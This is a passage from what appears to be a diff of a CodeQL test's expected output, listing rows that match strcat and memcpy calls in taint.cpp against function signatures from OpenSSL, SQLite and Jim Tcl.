(OSSL_LIB_CTX *,const char *) | | PKCS7_new_ex | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_LIB_CTX *,const char *) | | SCT_CTX_new | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_LIB_CTX *,const char *) | | TS_RESP_CTX_new_ex | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_LIB_CTX *,const char *) | | X509_CRL_new_ex | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_LIB_CTX *,const char *) | | X509_PUBKEY_new_ex | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_LIB_CTX *,const char *) | | X509_REQ_new_ex | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_LIB_CTX *,const char *) | | X509_STORE_CTX_new_ex | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_LIB_CTX *,const char *) | | X509_new_ex | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_LIB_CTX *,const char *) | | ossl_cmp_mock_srv_new | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_LIB_CTX *,const char *) | | ossl_cms_Data_create | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_LIB_CTX *,const char *) | | ossl_parse_property | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_PARAM *,const char *) | | OSSL_PARAM_locate | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_PARAM *,const char *) | | OSSL_PARAM_set_utf8_ptr | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_PARAM *,const char *) | | OSSL_PARAM_set_utf8_string | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_PROVIDER *,const char *) | | ossl_provider_set_module_path | 1 | +| taint.cpp:157:7:157:12 | strcat | (PKCS7 *,const char *) | | ossl_pkcs7_set1_propq | 1 | +| taint.cpp:157:7:157:12 | strcat | (RSA_METHOD *,const char *) | | RSA_meth_set1_name | 1 | +| taint.cpp:157:7:157:12 | strcat | (SSL *,const char *) | | SSL_add1_host | 1 | +| taint.cpp:157:7:157:12 | strcat | (SSL *,const char *) | | SSL_set1_host | 1 | +| taint.cpp:157:7:157:12 | strcat | (SSL *,const char *) | | SSL_set_cipher_list | 1 | +| taint.cpp:157:7:157:12 | strcat | (SSL *,const char *) | | SSL_use_psk_identity_hint | 1 | +| taint.cpp:157:7:157:12 | strcat | (SSL_CONF_CTX *,const char *) | | SSL_CONF_CTX_set1_prefix | 1 | +| taint.cpp:157:7:157:12 | strcat | (SSL_CONF_CTX *,const char *) | | SSL_CONF_cmd_value_type | 1 | +| taint.cpp:157:7:157:12 | strcat | (SSL_CTX *,const char *) | | SSL_CTX_set_cipher_list | 1 | +| taint.cpp:157:7:157:12 | strcat | (SSL_CTX *,const char *) | | SSL_CTX_use_psk_identity_hint | 1 | +| taint.cpp:157:7:157:12 | strcat | (SSL_CTX *,const char *) | | ossl_quic_set_diag_title | 1 | +| taint.cpp:157:7:157:12 | strcat | (SSL_SESSION *,const char *) | | SSL_SESSION_set1_hostname | 1 | +| taint.cpp:157:7:157:12 | strcat | (STANZA *,const char *) | | test_start_file | 1 | +| taint.cpp:157:7:157:12 | strcat | (UI *,const char *) | | UI_add_error_string | 1 | +| taint.cpp:157:7:157:12 | strcat | (UI *,const char *) | | UI_add_info_string | 1 | +| taint.cpp:157:7:157:12 | strcat | (UI *,const char *) | | UI_dup_error_string | 1 | +| taint.cpp:157:7:157:12 | strcat | (UI *,const char *) | | UI_dup_info_string | 1 | +| taint.cpp:157:7:157:12 | strcat | (X509 *,const char *) | | x509_ctrl_string | 1 | +| taint.cpp:157:7:157:12 | strcat | (X509_REQ *,const char *) | | x509_req_ctrl_string | 1 | +| taint.cpp:157:7:157:12 | strcat | (X509_VERIFY_PARAM *,const char *) | | X509_VERIFY_PARAM_set1_ip_asc | 1 | +| taint.cpp:157:7:157:12 | strcat | (X509_VERIFY_PARAM *,const char *) | | X509_VERIFY_PARAM_set1_name | 1 | +| taint.cpp:157:7:157:12 | strcat | (const OSSL_PARAM *,const char *) | | OSSL_PARAM_locate_const | 1 | +| taint.cpp:157:7:157:12 | strcat | (const char *,const char *) | | Configcmp | 1 | +| taint.cpp:157:7:157:12 | strcat | (const char *,const char *) | | DES_crypt | 1 | +| taint.cpp:157:7:157:12 | strcat | (const char *,const char *) | | OPENSSL_strcasecmp | 1 | +| taint.cpp:157:7:157:12 | strcat | (const char *,const char *) | | get_passwd | 1 | +| taint.cpp:157:7:157:12 | strcat | (const char *,const char *) | | openssl_fopen | 1 | +| taint.cpp:157:7:157:12 | strcat | (const char *,const char *) | | ossl_pem_check_suffix | 1 | +| taint.cpp:157:7:157:12 | strcat | (const char *,const char *) | | ossl_v3_name_cmp | 1 | +| taint.cpp:157:7:157:12 | strcat | (const char *,const char *) | | sqlite3_strglob | 1 | +| taint.cpp:157:7:157:12 | strcat | (const char *,const char *) | | sqlite3_stricmp | 1 | +| taint.cpp:157:7:157:12 | strcat | (const char *,const char *) | | test_mk_file_path | 1 | +| taint.cpp:157:7:157:12 | strcat | (int,const char *) | | BIO_meth_new | 1 | +| taint.cpp:157:7:157:12 | strcat | (lemon *,const char *) | | file_makename | 1 | +| taint.cpp:157:7:157:12 | strcat | (size_t *,const char *) | | next_protos_parse | 1 | +| taint.cpp:157:7:157:12 | strcat | (sqlite3 *,const char *) | | sqlite3_declare_vtab | 1 | +| taint.cpp:157:7:157:12 | strcat | (sqlite3 *,const char *) | | sqlite3_get_clientdata | 1 | +| taint.cpp:157:7:157:12 | strcat | (sqlite3 *,const char *) | | sqlite3_wal_checkpoint | 1 | +| taint.cpp:157:7:157:12 | strcat | (sqlite3_intck *,const char *) | | sqlite3_intck_test_sql | 1 | +| taint.cpp:157:7:157:12 | strcat | (sqlite3_stmt *,const char *) | | sqlite3_bind_parameter_index | 1 | +| taint.cpp:157:7:157:12 | strcat | (sqlite3_str *,const char *) | | sqlite3_str_appendall | 1 | +| taint.cpp:157:7:157:12 | strcat | (sqlite3_value *,const char *) | | sqlite3_value_pointer | 1 | +| taint.cpp:157:7:157:12 | strcat | (unsigned char *,const char *) | | ossl_a2i_ipadd | 1 | +| taint.cpp:157:7:157:12 | strcat | (unsigned long *,const char *) | | set_cert_ex | 1 | +| taint.cpp:157:7:157:12 | strcat | (unsigned long *,const char *) | | set_name_ex | 1 | +| taint.cpp:190:7:190:12 | memcpy | (ASN1_BIT_STRING *,int,int) | | ASN1_BIT_STRING_set_bit | 2 | +| taint.cpp:190:7:190:12 | memcpy | (ASN1_BIT_STRING *,unsigned char *,int) | | ASN1_BIT_STRING_set | 2 | +| taint.cpp:190:7:190:12 | memcpy | (ASN1_OCTET_STRING **,const unsigned char *,int) | | ossl_cmp_asn1_octet_string_set1_bytes | 2 | +| taint.cpp:190:7:190:12 | memcpy | (ASN1_OCTET_STRING *,const unsigned char *,int) | | ASN1_OCTET_STRING_set | 2 | +| taint.cpp:190:7:190:12 | memcpy | (ASN1_STRING *,const void *,int) | | ASN1_STRING_set | 2 | +| taint.cpp:190:7:190:12 | memcpy | (ASN1_STRING *,void *,int) | | ASN1_STRING_set0 | 1 | +| taint.cpp:190:7:190:12 | memcpy | (ASN1_STRING *,void *,int) | | ASN1_STRING_set0 | 2 | +| taint.cpp:190:7:190:12 | memcpy | (ASN1_TIME *,tm *,int) | | ossl_asn1_time_from_tm | 2 | +| taint.cpp:190:7:190:12 | memcpy | (ASN1_TYPE *,unsigned char *,int) | | ASN1_TYPE_set_octetstring | 2 | +| taint.cpp:190:7:190:12 | memcpy | (ASN1_VALUE **,const ASN1_ITEM *,int) | | ossl_asn1_item_embed_free | 2 | +| taint.cpp:190:7:190:12 | memcpy | (ASN1_VALUE **,const ASN1_ITEM *,int) | | ossl_asn1_primitive_free | 2 | +| taint.cpp:190:7:190:12 | memcpy | (BIGNUM *,const BIGNUM *,int) | | BN_lshift | 2 | +| taint.cpp:190:7:190:12 | memcpy | (BIGNUM *,const BIGNUM *,int) | | BN_rshift | 2 | +| taint.cpp:190:7:190:12 | memcpy | (BIGNUM *,const BIGNUM *,int) | | BN_with_flags | 2 | +| taint.cpp:190:7:190:12 | memcpy | (BIGNUM *,const BIGNUM *,int) | | bn_lshift_fixed_top | 2 | +| taint.cpp:190:7:190:12 | memcpy | (BIGNUM *,const BIGNUM *,int) | | bn_rshift_fixed_top | 2 | +| taint.cpp:190:7:190:12 | memcpy | (BIGNUM *,const unsigned long *,int) | | bn_set_static_words | 2 | +| taint.cpp:190:7:190:12 | memcpy | (BIGNUM *,const unsigned long *,int) | | bn_set_words | 2 | +| taint.cpp:190:7:190:12 | memcpy | (BIO *,BIO *,int) | | OSSL_HTTP_REQ_CTX_new | 2 | +| taint.cpp:190:7:190:12 | memcpy | (BIO *,BIO *,int) | | SMIME_crlf_copy | 2 | +| taint.cpp:190:7:190:12 | memcpy | (BIO *,GENERAL_NAMES *,int) | | OSSL_GENERAL_NAMES_print | 2 | +| taint.cpp:190:7:190:12 | memcpy | (BIO *,char *,int) | | BIO_get_line | 2 | +| taint.cpp:190:7:190:12 | memcpy | (BIO *,const DSA *,int) | | DSA_print | 2 | +| taint.cpp:190:7:190:12 | memcpy | (BIO *,const RSA *,int) | | RSA_print | 2 | +| taint.cpp:190:7:190:12 | memcpy | (CERT *,X509_STORE **,int) | | ssl_cert_get_cert_store | 2 | +| taint.cpp:190:7:190:12 | memcpy | (CRYPTO_THREAD_ROUTINE,void *,int) | | ossl_crypto_thread_native_start | 1 | +| taint.cpp:190:7:190:12 | memcpy | (CRYPTO_THREAD_ROUTINE,void *,int) | | ossl_crypto_thread_native_start | 2 | +| taint.cpp:190:7:190:12 | memcpy | (DH *,const OSSL_PARAM[],int) | | ossl_dh_key_fromdata | 2 | +| taint.cpp:190:7:190:12 | memcpy | (DSA *,const OSSL_PARAM[],int) | | ossl_dsa_key_fromdata | 2 | +| taint.cpp:190:7:190:12 | memcpy | (ECX_KEY *,const OSSL_PARAM[],int) | | ossl_ecx_key_fromdata | 2 | +| taint.cpp:190:7:190:12 | memcpy | (EC_KEY *,const OSSL_PARAM[],int) | | ossl_ec_key_fromdata | 2 | +| taint.cpp:190:7:190:12 | memcpy | (ENGINE *,ENGINE_DYNAMIC_ID,int) | | engine_add_dynamic_id | 2 | +| taint.cpp:190:7:190:12 | memcpy | (EVP_PKEY *,EVP_KEYMGMT *,int) | | evp_keymgmt_util_export_to_provider | 2 | +| taint.cpp:190:7:190:12 | memcpy | (EVP_PKEY *,EVP_KEYMGMT *,int) | | evp_keymgmt_util_find_operation_cache | 2 | +| taint.cpp:190:7:190:12 | memcpy | (EVP_PKEY *,EVP_PKEY *,int) | | evp_keymgmt_util_copy | 2 | +| taint.cpp:190:7:190:12 | memcpy | (EVP_PKEY_CTX *,EVP_PKEY *,int) | | EVP_PKEY_derive_set_peer_ex | 2 | +| taint.cpp:190:7:190:12 | memcpy | (EVP_PKEY_CTX *,const char *,int) | | EVP_PKEY_CTX_set1_pbe_pass | 2 | +| taint.cpp:190:7:190:12 | memcpy | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_add1_hkdf_info | 2 | +| taint.cpp:190:7:190:12 | memcpy | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_add1_tls1_prf_seed | 2 | +| taint.cpp:190:7:190:12 | memcpy | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_hkdf_key | 2 | +| taint.cpp:190:7:190:12 | memcpy | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_hkdf_salt | 2 | +| taint.cpp:190:7:190:12 | memcpy | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_scrypt_salt | 2 | +| taint.cpp:190:7:190:12 | memcpy | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_tls1_prf_secret | 2 | +| taint.cpp:190:7:190:12 | memcpy | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set_mac_key | 2 | +| taint.cpp:190:7:190:12 | memcpy | (EVP_PKEY_CTX *,const void *,int) | | EVP_PKEY_CTX_set1_id | 2 | +| taint.cpp:190:7:190:12 | memcpy | (EVP_PKEY_CTX *,int *,int) | | EVP_PKEY_CTX_set0_keygen_info | 2 | +| taint.cpp:190:7:190:12 | memcpy | (FFC_PARAMS *,unsigned int,int) | | ossl_ffc_params_enable_flags | 2 | +| taint.cpp:190:7:190:12 | memcpy | (FILE *,const DSA *,int) | | DSA_print_fp | 2 | +| taint.cpp:190:7:190:12 | memcpy | (FILE *,const RSA *,int) | | RSA_print_fp | 2 | +| taint.cpp:190:7:190:12 | memcpy | (FILE *,rule *,int) | | RulePrint | 2 | +| taint.cpp:190:7:190:12 | memcpy | (Jim_Interp *,Jim_Obj *,int) | | Jim_GetCommand | 2 | +| taint.cpp:190:7:190:12 | memcpy | (Jim_Interp *,Jim_Obj *,int) | | Jim_GetGlobalVariable | 2 | +| taint.cpp:190:7:190:12 | memcpy | (Jim_Interp *,Jim_Obj *,int) | | Jim_GetVariable | 2 | +| taint.cpp:190:7:190:12 | memcpy | (Jim_Interp *,Jim_Obj *,int) | | Jim_ListGetIndex | 2 | +| taint.cpp:190:7:190:12 | memcpy | (Jim_Interp *,Jim_Obj *,int) | | Jim_UnsetVariable | 2 | +| taint.cpp:190:7:190:12 | memcpy | (Jim_Interp *,Jim_Obj *const *,int) | | Jim_NewDictObj | 2 | +| taint.cpp:190:7:190:12 | memcpy | (Jim_Interp *,Jim_Obj *const *,int) | | Jim_NewListObj | 2 | +| taint.cpp:190:7:190:12 | memcpy | (Jim_Interp *,char *,int) | | Jim_NewStringObjNoAlloc | 2 | +| taint.cpp:190:7:190:12 | memcpy | (Jim_Interp *,const char *,int) | | Jim_GetGlobalVariableStr | 2 | +| taint.cpp:190:7:190:12 | memcpy | (Jim_Interp *,const char *,int) | | Jim_GetVariableStr | 2 | +| taint.cpp:190:7:190:12 | memcpy | (Jim_Interp *,const char *,int) | | Jim_MakeTempFile | 2 | +| taint.cpp:190:7:190:12 | memcpy | (Jim_Interp *,const char *,int) | | Jim_NewStringObj | 2 | +| taint.cpp:190:7:190:12 | memcpy | (Jim_Interp *,const char *,int) | | Jim_NewStringObjUtf8 | 2 | +| taint.cpp:190:7:190:12 | memcpy | (OCSP_BASICRESP *,OCSP_CERTID *,int) | | OCSP_resp_find | 2 | +| taint.cpp:190:7:190:12 | memcpy | (OCSP_BASICRESP *,X509_EXTENSION *,int) | | OCSP_BASICRESP_add_ext | 2 | +| taint.cpp:190:7:190:12 | memcpy | (OCSP_BASICRESP *,const ASN1_OBJECT *,int) | | OCSP_BASICRESP_get_ext_by_OBJ | 2 | +| taint.cpp:190:7:190:12 | memcpy | (OCSP_BASICRESP *,int,int) | | OCSP_BASICRESP_get_ext_by_NID | 2 | +| taint.cpp:190:7:190:12 | memcpy | (OCSP_BASICRESP *,int,int) | | OCSP_BASICRESP_get_ext_by_critical | 2 | +| taint.cpp:190:7:190:12 | memcpy | (OCSP_ONEREQ *,X509_EXTENSION *,int) | | OCSP_ONEREQ_add_ext | 2 | +| taint.cpp:190:7:190:12 | memcpy | (OCSP_ONEREQ *,const ASN1_OBJECT *,int) | | OCSP_ONEREQ_get_ext_by_OBJ | 2 | +| taint.cpp:190:7:190:12 | memcpy | (OCSP_ONEREQ *,int,int) | | OCSP_ONEREQ_get_ext_by_NID | 2 | +| taint.cpp:190:7:190:12 | memcpy | (OCSP_ONEREQ *,int,int) | | OCSP_ONEREQ_get_ext_by_critical | 2 | +| taint.cpp:190:7:190:12 | memcpy | (OCSP_REQUEST *,X509_EXTENSION *,int) | | OCSP_REQUEST_add_ext | 2 | +| taint.cpp:190:7:190:12 | memcpy | (OCSP_REQUEST *,const ASN1_OBJECT *,int) | | OCSP_REQUEST_get_ext_by_OBJ | 2 | +| taint.cpp:190:7:190:12 | memcpy | (OCSP_REQUEST *,int,int) | | OCSP_REQUEST_get_ext_by_NID | 2 | +| taint.cpp:190:7:190:12 | memcpy | (OCSP_REQUEST *,int,int) | | OCSP_REQUEST_get_ext_by_critical | 2 | +| taint.cpp:190:7:190:12 | memcpy | (OCSP_SINGLERESP *,X509_EXTENSION *,int) | | OCSP_SINGLERESP_add_ext | 2 | +| taint.cpp:190:7:190:12 | memcpy | (OCSP_SINGLERESP *,const ASN1_OBJECT *,int) | | OCSP_SINGLERESP_get_ext_by_OBJ | 2 | +| taint.cpp:190:7:190:12 | memcpy | (OCSP_SINGLERESP *,int,int) | | OCSP_SINGLERESP_get_ext_by_NID | 2 | +| taint.cpp:190:7:190:12 | memcpy | (OCSP_SINGLERESP *,int,int) | | OCSP_SINGLERESP_get_ext_by_critical | 2 | +| taint.cpp:190:7:190:12 | memcpy | (OPENSSL_STACK *,const void *,int) | | OPENSSL_sk_insert | 2 | +| taint.cpp:190:7:190:12 | memcpy | (OSSL_CMP_CTX *,const unsigned char *,int) | | OSSL_CMP_CTX_set1_referenceValue | 2 | +| taint.cpp:190:7:190:12 | memcpy | (OSSL_CMP_CTX *,const unsigned char *,int) | | OSSL_CMP_CTX_set1_secretValue | 2 | +| taint.cpp:190:7:190:12 | memcpy | (OSSL_CMP_CTX *,int,int) | | OSSL_CMP_CTX_set_option | 2 | +| taint.cpp:190:7:190:12 | memcpy | (OSSL_LIB_CTX *,const char *,int) | | EC_GROUP_new_by_curve_name_ex | 2 | +| taint.cpp:190:7:190:12 | memcpy | (OSSL_LIB_CTX *,const char *,int) | | EC_KEY_new_by_curve_name_ex | 2 | +| taint.cpp:190:7:190:12 | memcpy | (OSSL_LIB_CTX *,const char *,int) | | OSSL_PROVIDER_try_load | 2 | +| taint.cpp:190:7:190:12 | memcpy | (OSSL_LIB_CTX *,const char *,int) | | ossl_ml_dsa_key_new | 2 | +| taint.cpp:190:7:190:12 | memcpy | (OSSL_LIB_CTX *,const char *,int) | | ossl_ml_kem_key_new | 2 | +| taint.cpp:190:7:190:12 | memcpy | (OSSL_LIB_CTX *,const char *,int) | | ossl_parse_query | 2 | +| taint.cpp:190:7:190:12 | memcpy | (OSSL_LIB_CTX *,const char *,int) | | ossl_property_name | 2 | +| taint.cpp:190:7:190:12 | memcpy | (OSSL_LIB_CTX *,const char *,int) | | ossl_property_value | 2 | +| taint.cpp:190:7:190:12 | memcpy | (OSSL_PROVIDER *,OSSL_PROVIDER **,int) | | ossl_provider_add_to_store | 2 | +| taint.cpp:190:7:190:12 | memcpy | (OSSL_QRL_ENC_LEVEL_SET *,uint32_t,int) | | ossl_qrl_enc_level_set_get | 2 | +| taint.cpp:190:7:190:12 | memcpy | (PKCS7 *,stack_st_X509 *,int) | | PKCS7_get0_signers | 2 | +| taint.cpp:190:7:190:12 | memcpy | (POLICYINFO *,const ASN1_OBJECT *,int) | | ossl_policy_data_new | 2 | +| taint.cpp:190:7:190:12 | memcpy | (PROV_CTX *,const char *,int) | | ossl_prov_ctx_get_bool_param | 2 | +| taint.cpp:190:7:190:12 | memcpy | (PROV_CTX *,const char *,int) | | ossl_prov_ml_dsa_new | 2 | +| taint.cpp:190:7:190:12 | memcpy | (PROV_CTX *,const char *,int) | | ossl_prov_ml_kem_new | 2 | +| taint.cpp:190:7:190:12 | memcpy | (QLOG *,uint32_t,int) | | ossl_qlog_set_event_type_enabled | 2 | +| taint.cpp:190:7:190:12 | memcpy | (QUIC_RXFC *,uint64_t,int) | | ossl_quic_rxfc_on_rx_stream_frame | 2 | +| taint.cpp:190:7:190:12 | memcpy | (QUIC_STREAM_ITER *,QUIC_STREAM_MAP *,int) | | ossl_quic_stream_iter_init | 2 | +| taint.cpp:190:7:190:12 | memcpy | (QUIC_STREAM_MAP *,uint64_t,int) | | ossl_quic_stream_map_alloc | 2 | +| taint.cpp:190:7:190:12 | memcpy | (QUIC_TSERVER *,SSL *,int) | | qtest_create_quic_connection_ex | 2 | +| taint.cpp:190:7:190:12 | memcpy | (RSA *,const OSSL_PARAM[],int) | | ossl_rsa_fromdata | 2 | +| taint.cpp:190:7:190:12 | memcpy | (SSL *,SSL *,int) | | create_ssl_connection | 2 | +| taint.cpp:190:7:190:12 | memcpy | (SSL *,const unsigned char *,int) | | SSL_use_certificate_ASN1 | 2 | +| taint.cpp:190:7:190:12 | memcpy | (SSL *,const void *,int) | | SSL_write | 2 | +| taint.cpp:190:7:190:12 | memcpy | (SSL *,void *,int) | | SSL_peek | 1 | +| taint.cpp:190:7:190:12 | memcpy | (SSL *,void *,int) | | SSL_peek | 2 | +| taint.cpp:190:7:190:12 | memcpy | (SSL *,void *,int) | | SSL_read | 1 | +| taint.cpp:190:7:190:12 | memcpy | (SSL *,void *,int) | | SSL_read | 2 | +| taint.cpp:190:7:190:12 | memcpy | (SSL *,void *,int) | | SSL_set_session_ticket_ext | 1 | +| taint.cpp:190:7:190:12 | memcpy | (SSL *,void *,int) | | SSL_set_session_ticket_ext | 2 | +| taint.cpp:190:7:190:12 | memcpy | (SSL_CIPHER *,const SSL_CIPHER *,int) | | OBJ_bsearch_ssl_cipher_id | 2 | +| taint.cpp:190:7:190:12 | memcpy | (SSL_CONNECTION *,PACKET *,int) | | ssl_cache_cipherlist | 2 | +| taint.cpp:190:7:190:12 | memcpy | (SSL_CONNECTION *,WPACKET *,int) | | dtls1_close_construct_packet | 2 | +| taint.cpp:190:7:190:12 | memcpy | (SSL_CONNECTION *,WPACKET *,int) | | dtls1_set_handshake_header | 2 | +| taint.cpp:190:7:190:12 | memcpy | (SSL_CONNECTION *,WPACKET *,int) | | tls_close_construct_packet | 2 | +| taint.cpp:190:7:190:12 | memcpy | (SSL_CONNECTION *,int,int) | | ssl3_send_alert | 2 | +| taint.cpp:190:7:190:12 | memcpy | (TS_MSG_IMPRINT *,unsigned char *,int) | | TS_MSG_IMPRINT_set_msg | 2 | +| taint.cpp:190:7:190:12 | memcpy | (TS_REQ *,X509_EXTENSION *,int) | | TS_REQ_add_ext | 2 | +| taint.cpp:190:7:190:12 | memcpy | (TS_REQ *,const ASN1_OBJECT *,int) | | TS_REQ_get_ext_by_OBJ | 2 | +| taint.cpp:190:7:190:12 | memcpy | (TS_REQ *,int,int) | | TS_REQ_get_ext_by_NID | 2 | +| taint.cpp:190:7:190:12 | memcpy | (TS_REQ *,int,int) | | TS_REQ_get_ext_by_critical | 2 | +| taint.cpp:190:7:190:12 | memcpy | (TS_TST_INFO *,X509_EXTENSION *,int) | | TS_TST_INFO_add_ext | 2 | +| taint.cpp:190:7:190:12 | memcpy | (TS_TST_INFO *,const ASN1_OBJECT *,int) | | TS_TST_INFO_get_ext_by_OBJ | 2 | +| taint.cpp:190:7:190:12 | memcpy | (TS_TST_INFO *,int,int) | | TS_TST_INFO_get_ext_by_NID | 2 | +| taint.cpp:190:7:190:12 | memcpy | (TS_TST_INFO *,int,int) | | TS_TST_INFO_get_ext_by_critical | 2 | +| taint.cpp:190:7:190:12 | memcpy | (X509 *,X509_EXTENSION *,int) | | X509_add_ext | 2 | +| taint.cpp:190:7:190:12 | memcpy | (X509 *,int,int) | | X509_check_purpose | 2 | +| taint.cpp:190:7:190:12 | memcpy | (X509 *,int,int) | | X509_check_trust | 2 | +| taint.cpp:190:7:190:12 | memcpy | (X509_CRL *,X509_EXTENSION *,int) | | X509_CRL_add_ext | 2 | +| taint.cpp:190:7:190:12 | memcpy | (X509_PUBKEY *,unsigned char *,int) | | X509_PUBKEY_set0_public_key | 2 | +| taint.cpp:190:7:190:12 | memcpy | (X509_REVOKED *,X509_EXTENSION *,int) | | X509_REVOKED_add_ext | 2 | +| taint.cpp:190:7:190:12 | memcpy | (X509_STORE_CTX *,X509 *,int) | | ossl_x509_check_cert_time | 2 | | taint.cpp:190:7:190:12 | memcpy | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyChars | 2 | | taint.cpp:190:7:190:12 | memcpy | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyCharsOverlapped | 2 | +| taint.cpp:190:7:190:12 | memcpy | (action *,FILE *,int) | | PrintAction | 2 | +| taint.cpp:190:7:190:12 | memcpy | (acttab *,int,int) | | acttab_action | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const ASN1_VALUE *,const ASN1_TEMPLATE *,int) | | ossl_asn1_do_adb | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const BIGNUM *,int[],int) | | BN_GF2m_poly2arr | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const BIGNUM *,unsigned char *,int) | | BN_bn2binpad | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const BIGNUM *,unsigned char *,int) | | BN_bn2lebinpad | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const BIGNUM *,unsigned char *,int) | | BN_bn2nativepad | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const BIGNUM *,unsigned char *,int) | | BN_signed_bn2bin | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const BIGNUM *,unsigned char *,int) | | BN_signed_bn2lebin | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const BIGNUM *,unsigned char *,int) | | BN_signed_bn2native | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const CMS_ContentInfo *,BIO *,int) | | ossl_cms_DigestedData_do_final | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const CMS_SignerInfo *,const ASN1_OBJECT *,int) | | CMS_signed_get_attr_by_OBJ | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const CMS_SignerInfo *,const ASN1_OBJECT *,int) | | CMS_unsigned_get_attr_by_OBJ | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const CMS_SignerInfo *,int,int) | | CMS_signed_get_attr_by_NID | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const CMS_SignerInfo *,int,int) | | CMS_unsigned_get_attr_by_NID | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const EVP_MD *,const EVP_MD *,int) | | ossl_rsa_pss_params_create | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const EVP_PKEY *,const ASN1_OBJECT *,int) | | EVP_PKEY_get_attr_by_OBJ | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const EVP_PKEY *,int,int) | | EVP_PKEY_get_attr_by_NID | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const OSSL_PARAM *,BIO *,int) | | OSSL_PARAM_print_to_bio | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const OSSL_PROVIDER *,const char *,int) | | OSSL_PROVIDER_conf_get_bool | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const SSL *,char *,int) | | SSL_get_shared_ciphers | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const SSL *,int,int) | | apps_ssl_info_callback | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const SSL_CIPHER *,char *,int) | | SSL_CIPHER_description | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const X509 *,const ASN1_OBJECT *,int) | | X509_get_ext_by_OBJ | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const X509 *,const stack_st_X509 *,int) | | OSSL_ESS_signing_cert_new_init | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const X509 *,int,int) | | X509_get_ext_by_NID | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const X509 *,int,int) | | X509_get_ext_by_critical | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const X509_ACERT *,const ASN1_OBJECT *,int) | | X509_ACERT_get_attr_by_OBJ | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const X509_ACERT *,int,int) | | X509_ACERT_get_attr_by_NID | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const X509_CRL *,const ASN1_OBJECT *,int) | | X509_CRL_get_ext_by_OBJ | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const X509_CRL *,const X509 *,int) | | OSSL_CMP_CRLSTATUS_create | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const X509_CRL *,int,int) | | X509_CRL_get_ext_by_NID | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const X509_CRL *,int,int) | | X509_CRL_get_ext_by_critical | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const X509_NAME *,char *,int) | | X509_NAME_oneline | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const X509_NAME *,const ASN1_OBJECT *,int) | | X509_NAME_get_index_by_OBJ | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const X509_NAME *,int,int) | | X509_NAME_get_index_by_NID | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const X509_REQ *,const ASN1_OBJECT *,int) | | X509_REQ_get_attr_by_OBJ | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const X509_REQ *,int,int) | | X509_REQ_get_attr_by_NID | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const X509_REVOKED *,const ASN1_OBJECT *,int) | | X509_REVOKED_get_ext_by_OBJ | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const X509_REVOKED *,int,int) | | X509_REVOKED_get_ext_by_NID | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const X509_REVOKED *,int,int) | | X509_REVOKED_get_ext_by_critical | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const X509_SIG *,const char *,int) | | PKCS8_decrypt | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const char *,SD *,int) | | sd_load | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const char *,const OSSL_PARAM *,int) | | print_param_types | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const char *,const char *,int) | | CRYPTO_strdup | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const char *,const char *,int) | | sqlite3_strnicmp | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const char *,long 